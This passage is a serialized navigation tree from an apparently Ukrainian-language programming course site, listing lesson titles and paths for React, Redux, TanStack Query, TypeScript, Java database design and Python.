браузера","\u002Fjavascript\u002Fbom\u002F03-history-api","03.javascript\u002F03.bom\u002F03-history-api",{"title":2145,"path":2146,"stem":2147},"Navigator Object - Ідентифікація та Можливості Пристрою","\u002Fjavascript\u002Fbom\u002F04-navigator-object","03.javascript\u002F03.bom\u002F04-navigator-object",{"title":2149,"icon":2150,"path":2151,"stem":2152,"children":2153},"React","i-devicon-react","\u002Fjavascript\u002Freact","03.javascript\u002F04.react\u002Findex",[2154,2155,2159,2163,2167,2171,2234,2269,2421],{"title":2149,"path":2151,"stem":2152},{"title":2156,"path":2157,"stem":2158},"Робота з Формами в React","\u002Fjavascript\u002Freact\u002Freact-forms","03.javascript\u002F04.react\u002F01.react-forms",{"title":2160,"path":2161,"stem":2162},"React Hook Form: Професійна Робота з Формами","\u002Fjavascript\u002Freact\u002Freact-hook-form","03.javascript\u002F04.react\u002F02.react-hook-form",{"title":2164,"path":2165,"stem":2166},"React Hook Form: Глибоке Розуміння Архітектури та Оптимізації","\u002Fjavascript\u002Freact\u002Freact-hook-form-new","03.javascript\u002F04.react\u002F02.react-hook-form-new",{"title":2168,"path":2169,"stem":2170},"Axios та React: Професійна Архітектура Запитів","\u002Fjavascript\u002Freact\u002Fdata-fetching-axios","03.javascript\u002F04.react\u002F03.data-fetching-axios",{"title":2172,"icon":132,"path":2173,"stem":2174,"children":2175},"Tanstack Query","\u002Fjavascript\u002Freact\u002Ftanstack-query","03.javascript\u002F04.react\u002F04.tanstack-query\u002Findex",[2176,2178,2182,2186,2190,2194,2198,2202,2206,2210,2214,2218,2222,2226,2230],{"title":2177,"path":2173,"stem":2174},"TanStack Query: Майстерність Керування Станом Сервера",{"title":2179,"path":2180,"stem":2181},"Парадигма Server State: Чому useEffect недостатньо","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fserver-state-paradigm","03.javascript\u002F04.react\u002F04.tanstack-query\u002F01.server-state-paradigm",{"title":2183,"path":2184,"stem":2185},"Встановлення та Налаштування: Фундамент","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Finstallation-and-devtools","03.javascript\u002F04.react\u002F04.tanstack-query\u002F02.installation-and-devtools",{"title":2187,"path":2188,"stem":2189},"Основи Запитів та Магія Ключів","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fquery-basics-and-keys","03.javascript\u002F04.react\u002F04.tanstack-query\u002F03.query-basics-and-keys",{"title":2191,"path":2192,"stem":2193},"Синхронізація Даних: Життєвий Цикл Запиту","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fdata-synchronization","03.javascript\u002F04.react\u002F04.tanstack-query\u002F04.data-synchronization",{"title":2195,"path":2196,"stem":2197},"Мутації та Інвалідація: Зміна Даних","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fmutations-and-invalidation","03.javascript\u002F04.react\u002F04.tanstack-query\u002F05.mutations-and-invalidation",{"title":2199,"path":2200,"stem":2201},"Оптимістичні Оновлення: Швидше за Світло","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Foptimistic-updates","03.javascript\u002F04.react\u002F04.tanstack-query\u002F06.optimistic-updates",{"title":2203,"path":2204,"stem":2205},"Пагінація та Infinite Scroll","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fpagination-and-load-more","03.javascript\u002F04.react\u002F04.tanstack-query\u002F07.pagination-and-load-more",{"title":2207,"path":2208,"stem":2209},"Просунуті Патерни та Оптимізація","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fadvanced-patterns","03.javascript\u002F04.react\u002F04.tanstack-query\u002F08.advanced-patterns",{"title":2211,"path":2212,"stem":2213},"Архітектура та Best Practices","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Farchitecture-and-best-practices","03.javascript\u002F04.react\u002F04.tanstack-query\u002F09.architecture-and-best-practices",{"title":2215,"path":2216,"stem":2217},"Server-Side Rendering (SSR) та Гідратація","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fserver-side-rendering","03.javascript\u002F04.react\u002F04.tanstack-query\u002F10.server-side-rendering",{"title":2219,"path":2220,"stem":2221},"Стратегії Тестування","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Ftesting-strategies","03.javascript\u002F04.react\u002F04.tanstack-query\u002F11.testing-strategies",{"title":2223,"path":2224,"stem":2225},"Аутентифікація та Обробка Помилок","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fauthentication-and-errors","03.javascript\u002F04.react\u002F04.tanstack-query\u002F12.authentication-and-errors",{"title":2227,"path":2228,"stem":2229},"React Suspense та Майбутнє","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Freact-suspense","03.javascript\u002F04.react\u002F04.tanstack-query\u002F13.react-suspense",{"title":2231,"path":2232,"stem":2233},"Глибоке Занурення в Продуктивність","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fperformance-deep-dive","03.javascript\u002F04.react\u002F04.tanstack-query\u002F14.performance-deep-dive",{"title":2235,"icon":2150,"path":2236,"stem":2237,"children":2238},"React Router","\u002Fjavascript\u002Freact\u002Freact-router","03.javascript\u002F04.react\u002F05.react-router\u002Findex",[2239,2241,2245,2249,2253,2257,2261,2265],{"title":2240,"path":2236,"stem":2237},"React Router: Навігаційна система сучасного вебу",{"title":2242,"path":2243,"stem":2244},"Налаштування та Базовий Роутинг","\u002Fjavascript\u002Freact\u002Freact-router\u002Fsetup-and-basic-routing","03.javascript\u002F04.react\u002F05.react-router\u002F01.setup-and-basic-routing",{"title":2246,"path":2247,"stem":2248},"Динамічна Навігація","\u002Fjavascript\u002Freact\u002Freact-router\u002Fnavigation-and-links","03.javascript\u002F04.react\u002F05.react-router\u002F02.navigation-and-links",{"title":2250,"path":2251,"stem":2252},"Вкладені Маршрути та Макети","\u002Fjavascript\u002Freact\u002Freact-router\u002Fnested-routes-and-layouts","03.javascript\u002F04.react\u002F05.react-router\u002F03.nested-routes-and-layouts",{"title":2254,"path":2255,"stem":2256},"Динамічні Маршрути та Параметри","\u002Fjavascript\u002Freact\u002Freact-router\u002Fdynamic-routing","03.javascript\u002F04.react\u002F05.react-router\u002F04.dynamic-routing",{"title":2258,"path":2259,"stem":2260},"Data APIs: Loaders та Actions","\u002Fjavascript\u002Freact\u002Freact-router\u002Fdata-loading","03.javascript\u002F04.react\u002F05.react-router\u002F05.data-loading",{"title":2262,"path":2263,"stem":2264},"Просунуті Патерни","\u002Fjavascript\u002Freact\u002Freact-router\u002Fadvanced-patterns","03.javascript\u002F04.react\u002F05.react-router\u002F06.advanced-patterns",{"title":2266,"path":2267,"stem":2268},"Legacy Routing: Компонентний підхід","\u002Fjavascript\u002Freact\u002Freact-router\u002Flegacy-routing","03.javascript\u002F04.react\u002F05.react-router\u002F07.legacy-routing",{"title":2270,"icon":132,"path":2271,"stem":2272,"children":2273},"Redux","\u002Fjavascript\u002Freact\u002Fredux","03.javascript\u002F04.react\u002F06.redux\u002Findex",[2274,2276,2292,2321,2330,2351,2367,2396],{"title":2275,"path":2271,"stem":2272},"Redux: Еволюція управління станом",{"title":14,"icon":15,"path":2277,"stem":2278,"children":2279,"page":59},"\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals",[2280,2284,2288],{"title":2281,"path":2282,"stem":2283},"Вступ до State Management","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fintro-state-management","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F01.intro-state-management",{"title":2285,"path":2286,"stem":2287},"Філософія Redux та Три Принципи","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fredux-philosophy","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F02.redux-philosophy",{"title":2289,"path":2290,"stem":2291},"Чисті функції та Іммутабельність","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fpure-functions-immutability","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F03.pure-functions-immutability",{"title":2293,"icon":132,"path":2294,"stem":2295,"children":2296,"page":59},"Classic Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux",[2297,2301,2305,2309,2313,2317],{"title":2298,"path":2299,"stem":2300},"Створення Store (Classic Redux)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fstore-setup","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F01.store-setup",{"title":2302,"path":2303,"stem":2304},"Actions, Constants та Action Creators","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Factions-constants","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F02.actions-constants",{"title":2306,"path":2307,"stem":2308},"Логіка Reducers","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Freducers","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F03.reducers",{"title":2310,"path":2311,"stem":2312},"Комбінування Reducers (Root Reducer)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fdata-flow","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F04.data-flow",{"title":2314,"path":2315,"stem":2316},"Підключення до React (React-Redux)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Freact-redux-connection","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F05.react-redux-connection",{"title":2318,"path":2319,"stem":2320},"Middleware та Асинхронність (Redux Thunk)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fmiddleware-thunk","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F06.middleware-thunk",{"title":2322,"icon":132,"path":2323,"stem":2324,"children":2325,"page":59},"Transition To Rtk","\u002Fjavascript\u002Freact\u002Fredux\u002Ftransition-to-rtk","03.javascript\u002F04.react\u002F06.redux\u002F03.transition-to-rtk",[2326],{"title":2327,"path":2328,"stem":2329},"Проблеми класичного Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Ftransition-to-rtk\u002Fproblems-with-classic","03.javascript\u002F04.react\u002F06.redux\u002F03.transition-to-rtk\u002F01.problems-with-classic",{"title":2331,"icon":132,"path":2332,"stem":2333,"children":2334,"page":59},"Redux Toolkit","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit",[2335,2339,2343,2347],{"title":2336,"path":2337,"stem":2338},"Налаштування Store з configureStore","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fconfigure-store","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F01.configure-store",{"title":2340,"path":2341,"stem":2342},"createSlice: Революція в Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fcreate-slice","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F02.create-slice",{"title":2344,"path":2345,"stem":2346},"Асинхронність з createAsyncThunk","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fasync-thunks","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F03.async-thunks",{"title":2348,"path":2349,"stem":2350},"04. Entity Adapter: Керування нормалізованим станом","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fentity-adapter","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F04.entity-adapter",{"title":2352,"icon":92,"path":2353,"stem":2354,"children":2355,"page":59},"Advanced","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced",[2356,2360,2364],{"title":2357,"path":2358,"stem":2359},"Мемоізація та Селектори: Повний Гайд по Reselect","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Fselectors-reselect","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F01.selectors-reselect",{"title":2361,"path":2362,"stem":2363},"RTK Query: Архітектура Серверного Кешу","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Frtk-query-intro","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F02.rtk-query-intro",{"title":2211,"path":2365,"stem":2366},"\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Farchitecture-best-practices","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F03.architecture-best-practices",{"title":2368,"icon":132,"path":2369,"stem":2370,"children":2371,"page":59},"Project Kanban","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban",[2372,2376,2380,2384,2388,2392],{"title":2373,"path":2374,"stem":2375},"Проєкт: Kanban Board (Trello Clone)","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fproject-overview","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F01.project-overview",{"title":2377,"path":2378,"stem":2379},"Налаштування та Типізація","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fsetup-and-types","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F02.setup-and-types",{"title":2381,"path":2382,"stem":2383},"Board Slice: Серце Дошки","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fboard-slice","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F03.board-slice",{"title":2385,"path":2386,"stem":2387},"Логіка Drag & Drop","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fdrag-and-drop-logic","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F04.drag-and-drop-logic",{"title":2389,"path":2390,"stem":2391},"Інтеграція з RTK Query","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Frtk-query-integration","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F05.rtk-query-integration",{"title":2393,"path":2394,"stem":2395},"Optimistic Updates","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Foptimistic-updates","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F06.optimistic-updates",{"title":2397,"icon":132,"path":2398,"stem":2399,"children":2400,"page":59},"Testing","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting","03.javascript\u002F04.react\u002F06.redux\u002F07.testing",[2401,2405,2409,2413,2417],{"title":2402,"path":2403,"stem":2404},"Тестування Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Fintro-testing","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F01.intro-testing",{"title":2406,"path":2407,"stem":2408},"Тестування Reducers","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-reducers","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F02.testing-reducers",{"title":2410,"path":2411,"stem":2412},"Тестування Селекторів","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-selectors","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F03.testing-selectors",{"title":2414,"path":2415,"stem":2416},"Тестування Компонентів (Integration)","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-components","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F04.testing-components",{"title":2418,"path":2419,"stem":2420},"Тестування Async Thunks","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-thunks","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F05.testing-thunks",{"title":2422,"icon":132,"path":2423,"stem":2424,"children":2425},"Ui Libraries","\u002Fjavascript\u002Freact\u002Fui-libraries","03.javascript\u002F04.react\u002F07.ui-libraries\u002Findex",[2426,2428,2432,2436,2440,2444,2448],{"title":2427,"path":2423,"stem":2424},"UI Бібліотеки в React",{"title":2429,"path":2430,"stem":2431},"Вступ до UI Бібліотек: Навіщо Винаходити Велосипед Двічі?","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fintroduction-to-ui-libraries","03.javascript\u002F04.react\u002F07.ui-libraries\u002F01.introduction-to-ui-libraries",{"title":2433,"path":2434,"stem":2435},"Філософія shadcn\u002Fui: \"Not a Component Library\"","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-philosophy","03.javascript\u002F04.react\u002F07.ui-libraries\u002F02.shadcn-philosophy",{"title":2437,"path":2438,"stem":2439},"Установка та Налаштування shadcn\u002Fui","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-installation","03.javascript\u002F04.react\u002F07.ui-libraries\u002F03.shadcn-installation",{"title":2441,"path":2442,"stem":2443},"Базові Компоненти shadcn\u002Fui: Фундамент Інтерфейсу","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-basics","03.javascript\u002F04.react\u002F07.ui-libraries\u002F04.shadcn-components-basics",{"title":2445,"path":2446,"stem":2447},"Компоненти Форм: Побудова Інтерактивних Form","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-forms","03.javascript\u002F04.react\u002F07.ui-libraries\u002F05.shadcn-components-forms",{"title":2449,"path":2450,"stem":2451},"Складні Компоненти: Dialog, Dropdown, Table та Command","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-advanced","03.javascript\u002F04.react\u002F07.ui-libraries\u002F06.shadcn-components-advanced",{"title":2453,"icon":2454,"path":2455,"stem":2456,"children":2457,"page":59},"TypeScript","i-devicon-typescript","\u002Fjavascript\u002Ftypescript","03.javascript\u002F05.typescript",[2458,2462,2466,2470,2474,2478,2482,2486],{"title":2459,"path":2460,"stem":2461},"TypeScript: Броня для вашого коду","\u002Fjavascript\u002Ftypescript\u002Fintro-and-basic-types","03.javascript\u002F05.typescript\u002F01.intro-and-basic-types",{"title":2463,"path":2464,"stem":2465},"Майстерність Моделювання Даних: Інтерфейси та Просунуті Типи","\u002Fjavascript\u002Ftypescript\u002Finterfaces-and-advanced-types","03.javascript\u002F05.typescript\u002F02.interfaces-and-advanced-types",{"title":2467,"path":2468,"stem":2469},"Алхімія Типів: Generics та Utility Types","\u002Fjavascript\u002Ftypescript\u002Fgenerics-and-utilities","03.javascript\u002F05.typescript\u002F03.generics-and-utilities",{"title":2471,"path":2472,"stem":2473},"Архітектура та Шаблони: Класи в TypeScript","\u002Fjavascript\u002Ftypescript\u002Fclasses-and-oop","03.javascript\u002F05.typescript\u002F04.classes-and-oop",{"title":2475,"path":2476,"stem":2477},"Продакшн та Екосистема: Advanced Config & Workflow","\u002Fjavascript\u002Ftypescript\u002Fadvanced-patterns-and-config","03.javascript\u002F05.typescript\u002F05.advanced-patterns-and-config",{"title":2479,"path":2480,"stem":2481},"TypeScript у світі React","\u002Fjavascript\u002Ftypescript\u002Freact-basics","03.javascript\u002F05.typescript\u002F06.react-basics",{"title":2483,"path":2484,"stem":2485},"React + TypeScript: Продвинуті патерни","\u002Fjavascript\u002Ftypescript\u002Freact-advanced","03.javascript\u002F05.typescript\u002F07.react-advanced",{"title":2487,"path":2488,"stem":2489},"React + TypeScript: Екосистема та бібліотеки","\u002Fjavascript\u002Ftypescript\u002Freact-ecosystem","03.javascript\u002F05.typescript\u002F08.react-ecosystem",{"title":2491,"icon":2492,"path":2493,"stem":2494,"children":2495,"page":59},"Асинхронність","i-lucide-refresh-cw","\u002Fjavascript\u002Fasync-programming","03.javascript\u002F06.async-programming",[2496,2500,2504],{"title":2497,"path":2498,"stem":2499},"Event Loop: серце асинхронності в JavaScript","\u002Fjavascript\u002Fasync-programming\u002Fevent-loop-fundamentals","03.javascript\u002F06.async-programming\u002F01.event-loop-fundamentals",{"title":2501,"path":2502,"stem":2503},"Task Queue та Microtask Queue: пріоритети виконання","\u002Fjavascript\u002Fasync-programming\u002Ftask-queues","03.javascript\u002F06.async-programming\u002F02.task-queues",{"title":2505,"path":2506,"stem":2507},"Асинхронні патерни: від Callbacks до Async\u002FAwait","\u002Fjavascript\u002Fasync-programming\u002Fasync-patterns","03.javascript\u002F06.async-programming\u002F03.async-patterns",{"title":2509,"path":2510,"stem":2511},"Atomic Design","\u002Fjavascript\u002Fatomic-design","03.javascript\u002F2.atomic-design",{"title":2513,"icon":2514,"path":2515,"stem":2516,"children":2517,"page":59},"Java","i-devicon-java","\u002Fjava","04.java",[2518,2521,2524,2528,2532,2536,2540],{"title":162,"path":2519,"stem":2520},"\u002Fjava\u002Fdata-mapper-part1","04.java\u002F01.data-mapper-part1",{"title":166,"path":2522,"stem":2523},"\u002Fjava\u002Fdata-mapper-part2","04.java\u002F02.data-mapper-part2",{"title":2525,"path":2526,"stem":2527},"Service Layer: Організація бізнес-логіки","\u002Fjava\u002Fservice-layer","04.java\u002F03.service-layer",{"title":2529,"path":2530,"stem":2531},"Rich Domain Model та State Pattern","\u002Fjava\u002Frich-domain-model","04.java\u002F04.rich-domain-model",{"title":2533,"path":2534,"stem":2535},"Патерни для складної бізнес-логіки","\u002Fjava\u002Fbusiness-logic-patterns","04.java\u002F05.business-logic-patterns",{"title":2537,"path":2538,"stem":2539},"Обробка помилок та валідація","\u002Fjava\u002Ferror-handling-validation","04.java\u002F06.error-handling-validation",{"title":2541,"path":2542,"stem":2543,"children":2544,"page":59},"Проектування баз даних","\u002Fjava\u002Fpr2","04.java\u002Fpr2",[2545,2549,2553,2557,2561,2565,2569,2573,2577,2581,2585,2589,2593,2597,2601,2605,2609,2613,2617,2621,2625,2629,2633,2637,2641,2645,2649,2653,2657,2661,2665,2669,2673,2677,2681,2685,2689],{"title":2546,"path":2547,"stem":2548},"Концептуальне моделювання: Мистецтво розуміння предметної області","\u002Fjava\u002Fpr2\u002Fconceptual-modeling","04.java\u002Fpr2\u002F01.conceptual-modeling",{"title":2550,"path":2551,"stem":2552},"Логічне моделювання: Від бізнес-ідей до структур даних","\u002Fjava\u002Fpr2\u002Flogical-modeling","04.java\u002Fpr2\u002F02.logical-modeling",{"title":2554,"path":2555,"stem":2556},"Нормалізація: Гігієна даних та боротьба з аномаліями","\u002Fjava\u002Fpr2\u002Fnormalization","04.java\u002Fpr2\u002F03.normalization",{"title":2558,"path":2559,"stem":2560},"Фізична схема: Від абстракції до DDL","\u002Fjava\u002Fpr2\u002Fphysical-schema","04.java\u002Fpr2\u002F04.physical-schema",{"title":2562,"path":2563,"stem":2564},"Архітектурна класифікація таблиць","\u002Fjava\u002Fpr2\u002Ftable-classification","04.java\u002Fpr2\u002F05.table-classification",{"title":2566,"path":2567,"stem":2568},"Database Migrations: Версіонування схеми з Flyway","\u002Fjava\u002Fpr2\u002Fdatabase-migrations","04.java\u002Fpr2\u002F06.database-migrations",{"title":2570,"path":2571,"stem":2572},"А що, якби це була не реляційна БД?","\u002Fjava\u002Fpr2\u002Fbeyond-relational","04.java\u002Fpr2\u002F07.beyond-relational",{"title":2574,"path":2575,"stem":2576},"Object-Relational Impedance Mismatch: Два світи, що не хочуть дружити","\u002Fjava\u002Fpr2\u002Fimpedance-mismatch","04.java\u002Fpr2\u002F09.impedance-mismatch",{"title":2578,"path":2579,"stem":2580},"JDBC: Перший контакт із базою даних","\u002Fjava\u002Fpr2\u002Fjdbc-fundamentals","04.java\u002Fpr2\u002F10.jdbc-fundamentals",{"title":2582,"path":2583,"stem":2584},"Якість коду: Spotless, SpotBugs та SonarQube","\u002Fjava\u002Fpr2\u002F10a.code-quality","04.java\u002Fpr2\u002F10a.code-quality",{"title":2586,"path":2587,"stem":2588},"Connection Pool: Патерн Object Pool для JDBC-з'єднань","\u002Fjava\u002Fpr2\u002Fconnection-pool","04.java\u002Fpr2\u002F11.connection-pool",{"title":2590,"path":2591,"stem":2592},"Row Data Gateway: Об'єкт як обгортка рядка таблиці","\u002Fjava\u002Fpr2\u002Frow-data-gateway","04.java\u002Fpr2\u002F12.row-data-gateway",{"title":2594,"path":2595,"stem":2596},"Table Data Gateway: Фасад таблиці як архітектурний відступ","\u002Fjava\u002Fpr2\u002Ftable-data-gateway","04.java\u002Fpr2\u002F13.table-data-gateway",{"title":2598,"path":2599,"stem":2600},"Repository + Data Mapper: Правильна шарова архітектура з JDBC","\u002Fjava\u002Fpr2\u002Frepository-data-mapper","04.java\u002Fpr2\u002F14.repository-data-mapper",{"title":2602,"path":2603,"stem":2604},"Identity Map: Кешування сутностей у рамках сесії","\u002Fjava\u002Fpr2\u002Fidentity-map","04.java\u002Fpr2\u002F15.identity-map",{"title":2606,"path":2607,"stem":2608},"Unit of Work: Відстеження змін і координація JDBC-транзакцій","\u002Fjava\u002Fpr2\u002Funit-of-work","04.java\u002Fpr2\u002F16.unit-of-work",{"title":2610,"path":2611,"stem":2612},"Strategy: Замінювані SQL-стратегії для підтримки різних СУБД","\u002Fjava\u002Fpr2\u002Fstrategy-sql","04.java\u002Fpr2\u002F17.strategy-sql",{"title":2614,"path":2615,"stem":2616},"Proxy: Lazy Loading для One-To-Many колекцій","\u002Fjava\u002Fpr2\u002Fproxy-lazy-loading","04.java\u002Fpr2\u002F18.proxy-lazy-loading",{"title":2618,"path":2619,"stem":2620},"Generic Repository через Java Reflection: анотації та динамічний SQL","\u002Fjava\u002Fpr2\u002Fgeneric-repository-reflection","04.java\u002Fpr2\u002F19.generic-repository-reflection",{"title":2622,"path":2623,"stem":2624},"Specification Pattern: Композиція бізнес-правил для складних запитів","\u002Fjava\u002Fpr2\u002Fspecification-pattern","04.java\u002Fpr2\u002F20.specification-pattern",{"title":2626,"path":2627,"stem":2628},"Розширені можливості Specification Pattern: підзапити, агрегації та гібридний підхід","\u002Fjava\u002Fpr2\u002F20a.advanced-specifications","04.java\u002Fpr2\u002F20a.advanced-specifications",{"title":2630,"path":2631,"stem":2632},"Асинхронність у JDBC: Від блокуючих викликів до CompletableFuture","\u002Fjava\u002Fpr2\u002Fasynchronous-jdbc","04.java\u002Fpr2\u002F21.asynchronous-jdbc",{"title":2634,"path":2635,"stem":2636},"Інтеграційне тестування JDBC-репозиторіїв: Embedded H2 та патерн AAA","\u002Fjava\u002Fpr2\u002Fintegration-testing-h2","04.java\u002Fpr2\u002F22.integration-testing-h2",{"title":2638,"path":2639,"stem":2640},"Testcontainers: Тестування з реальною PostgreSQL у Docker-контейнерах","\u002Fjava\u002Fpr2\u002Fintegration-testing-testcontainers","04.java\u002Fpr2\u002F23.integration-testing-testcontainers",{"title":2642,"path":2643,"stem":2644},"Google Guice: Впровадження залежностей у JavaFX-проєкті","\u002Fjava\u002Fpr2\u002Fdependency-injection-guice","04.java\u002Fpr2\u002F24.dependency-injection-guice",{"title":2646,"path":2647,"stem":2648},"JavaFX: Основи побудови графічних інтерфейсів","\u002Fjava\u002Fpr2\u002Fjavafx-fundamentals","04.java\u002Fpr2\u002F25.javafx-fundamentals",{"title":2650,"path":2651,"stem":2652},"Properties та Bindings: Реактивність у JavaFX","\u002Fjava\u002Fpr2\u002Fjavafx-properties-bindings","04.java\u002Fpr2\u002F26.javafx-properties-bindings",{"title":2654,"path":2655,"stem":2656},"MVC vs MVP vs MVVM: Еволюція архітектурних патернів UI","\u002Fjava\u002Fpr2\u002Fui-architecture-patterns","04.java\u002Fpr2\u002F27.ui-architecture-patterns",{"title":2658,"path":2659,"stem":2660},"MVVM на практиці: Побудова ViewModel","\u002Fjava\u002Fpr2\u002Fmvvm-viewmodel-implementation","04.java\u002Fpr2\u002F28.mvvm-viewmodel-implementation",{"title":2662,"path":2663,"stem":2664},"View та Controller: Зв'язування з ViewModel через FXML","\u002Fjava\u002Fpr2\u002Fmvvm-view-controller","04.java\u002Fpr2\u002F29.mvvm-view-controller",{"title":2666,"path":2667,"stem":2668},"Інтеграція MVVM з Guice: Автоматична ін'єкція залежностей","\u002Fjava\u002Fpr2\u002Fmvvm-guice-integration","04.java\u002Fpr2\u002F30.mvvm-guice-integration",{"title":2670,"path":2671,"stem":2672},"Валідація та обробка помилок у MVVM","\u002Fjava\u002Fpr2\u002Fmvvm-validation-error-handling","04.java\u002Fpr2\u002F31.mvvm-validation-error-handling",{"title":2674,"path":2675,"stem":2676},"Навігація та управління екранами у JavaFX MVVM","\u002Fjava\u002Fpr2\u002Fmvvm-navigation-screen-management","04.java\u002Fpr2\u002F32.mvvm-navigation-screen-management",{"title":2678,"path":2679,"stem":2680},"Тестування JavaFX MVVM-додатків","\u002Fjava\u002Fpr2\u002Fmvvm-testing","04.java\u002Fpr2\u002F33.mvvm-testing",{"title":2682,"path":2683,"stem":2684},"Стилізація та теми у JavaFX: CSS та User Experience","\u002Fjava\u002Fpr2\u002Fjavafx-styling-themes","04.java\u002Fpr2\u002F34.javafx-styling-themes",{"title":2686,"path":2687,"stem":2688},"AtlantaFX: Сучасні теми для JavaFX додатків","\u002Fjava\u002Fpr2\u002Fatlantafx-modern-themes","04.java\u002Fpr2\u002F35.atlantafx-modern-themes",{"title":2690,"path":2691,"stem":2692},"Пакування та розповсюдження JavaFX-додатків","\u002Fjava\u002Fpr2\u002Fjar-packaging-distribution","04.java\u002Fpr2\u002F36.jar-packaging-distribution",{"title":2694,"icon":2695,"path":2696,"stem":2697,"children":2698,"page":59},"Python","i-devicon-python","\u002Fpython","05.python",[2699,2703,2706,2710,2714,2718,2722,2726,2730,2734,2738,2742,2746,2750,2754,2815],{"title":2700,"path":2701,"stem":2702},"Модулі, Пакети та Віртуальні Середовища","\u002Fpython\u002Fmodules-packages-venv","05.python\u002F00.modules-packages-venv",{"title":71,"path":2704,"stem":2705},"\u002Fpython\u002Fclasses-objects","05.python\u002F01.classes-objects",{"title":2707,"path":2708,"stem":2709},"Інкапсуляція, Керування Доступом та Властивості","\u002Fpython\u002Fencapsulation","05.python\u002F02.encapsulation",{"title":2711,"path":2712,"stem":2713},"Наслідування, MRO та суперсила 